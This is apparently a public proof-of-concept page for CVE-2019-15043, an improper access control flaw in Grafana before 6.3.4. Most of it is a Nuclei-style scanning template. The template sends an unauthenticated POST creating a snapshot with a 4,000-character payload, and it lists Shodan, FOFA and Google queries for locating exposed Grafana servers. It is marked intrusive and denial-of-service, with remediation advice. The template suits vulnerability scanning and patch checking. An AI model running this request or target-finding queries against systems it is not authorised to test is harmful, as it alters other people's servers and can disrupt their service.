CVE-2019-15043: Grafana - Improper Access Control

2025-08-01 Grafana PoC Public

Description

Grafana 2.x through 6.x before 6.3.4 is susceptible to improper access control. An attacker can delete and create arbitrary snapshots, leading to denial of service.

PoC

id: CVE-2019-15043

info:
  name: Grafana - Improper Access Control
  author: Joshua Rogers
  severity: high
  description: |
    Grafana 2.x through 6.x before 6.3.4 is susceptible to improper access control. An attacker can delete and create arbitrary snapshots, leading to denial of service.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to gain unauthorized access to sensitive information or perform unauthorized actions.
  remediation: Upgrade to 6.3.4 or higher.
  reference:
    - https://community.grafana.com/t/grafana-5-4-5-and-6-3-4-security-update/20569
    - https://grafana.com/blog/2019/08/29/grafana-5.4.5-and-6.3.4-released-with-important-security-fix/
    - https://bugzilla.redhat.com/show_bug.cgi?id=1746945
    - https://aaron-hoffmann.com/posts/cve-2019-15043/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15043
    - https://nvd.nist.gov/vuln/detail/CVE-2019-15043
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2019-15043
    cwe-id: CWE-306
    epss-score: 0.63388
    epss-percentile: 0.99168
    cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: grafana
    product: grafana
    shodan-query:
      - title:"Grafana"
      - cpe:"cpe:2.3:a:grafana:grafana"
      - http.title:"grafana"
    fofa-query:
      - title="grafana"
      - app="grafana"
    google-query: intitle:"grafana"
  tags: cve,cve2019,grafana,dos,intrusive,vuln
variables:
  payload: '{{repeat("A", 4000)}}'

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/snapshots"

    body: '{"dashboard": {"name":"{{payload}}"}}'

    headers:
      Content-Type: "application/json"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"deleteUrl":'
          - '"deleteKey":'
          - '"key":'
          - '"url":'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100888eba97403cefae48d2a0855f3315cc2e044293f05cbcf4e30cd66f565bd781022019737c58a7a1cd7e7da0c9273911d7b60084bb00935be4914ab7b62d572e0945:922c64590222798bb761d5b6d8e72950

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